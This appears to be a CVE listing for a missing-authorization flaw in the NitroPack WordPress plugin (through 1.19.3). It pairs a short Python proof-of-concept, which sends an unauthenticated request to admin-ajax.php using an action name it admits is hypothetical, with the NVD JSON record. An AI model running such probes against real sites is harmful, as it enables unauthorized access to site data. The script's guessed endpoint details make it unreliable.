CVE-2026-39669

import requests def check_vulnerability(target_url): """ PoC for CVE-2026-39669: Missing Authorization in NitroPack This script attempts to access a restricted endpoint without authentication. """ # Example endpoint (actual endpoint needs to be verified against source code) # Assuming an AJAX action or REST route that lacks capability checks endpoint = "/wp-admin/admin-ajax.php" # Payload targeting the vulnerable action # Note: The specific 'action' parameter value depends on the plugin's implementation payload = { "action": "nitropack_sync_config", # Hypothetical action name "force_sync": "true" } try: response = requests.post(target_url + endpoint, data=payload, timeout=10) # Check if the response indicates success or data leakage if response.status_code == 200 and ("config" in response.text or "success" in response.text): print("[+] Potential Vulnerability Detected!") print(f"[+] Response: {response.text[:200]}") else: print("[-] Vulnerability not detected or endpoint protected.") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to target: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target URL check_vulnerability(target)

{"cve": {"id": "CVE-2026-39669", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:38.297", "lastModified": "2026-04-28T19:37:39.030", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in NitroPack allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects NitroPack: from n/a through 1.19.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/nitropack/vulnerability/wordpress-nitropack-plugin-1-19-3-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}